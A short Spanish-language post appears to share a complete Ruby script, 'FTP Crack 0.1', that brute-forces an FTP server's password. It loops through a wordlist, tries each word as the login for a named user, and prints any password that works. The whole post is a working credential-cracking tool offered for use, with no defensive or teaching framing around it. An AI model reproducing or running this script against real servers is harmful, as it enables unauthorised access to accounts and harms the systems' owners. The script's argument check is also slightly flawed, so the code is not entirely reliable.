Un simple codigo en ruby para crackear un server FTP mediante un diccionario.

#!usr/bin/ruby
#FTP Crack 0.1
#Coded By Doddy H
 
require "net/ftp"
 
def openwords(file)
  if File.file?(file)
    print "\n[+] Opening file\n\n"
    ar = File.open(file)
    lineas = ar.readlines
    ar.close
    print "[+] Number of words : ",lineas.length,"\n\n"
    return lineas
  else
    print "[-] Error opening file\n"
  end
end
 
def sintax()
  print "\n[+] ruby ftpcrack.rb <host> <user> <wordlist>\n"
end
 
def head()
  print "\n-- == FTP Crack 0.1 == --\n\n"
end
 
def copyright()
  print "\n\n(C) Doddy Hackman 2012\n"
  exit(1)
end
 
host = ARGV[0]
user = ARGV[1]
wordlist = ARGV[2]
 
head()
 
if !host and !user and !wordlist
  sintax()
else
  words = openwords(wordlist)
  print "\n[+] Cracking ...\n\n"
  words.each do |word|
    word = word.chomp
    begin
    ftp =Net::FTP.new(host,user,word)
    rescue Net::FTPPermError
    else
      print "\a\a\n[+] Password Cracked : ",word,"\n"
      copyright()
    end
  end
  print "\n[-] Pass not found\n"
end
 
copyright()
 
# The End ?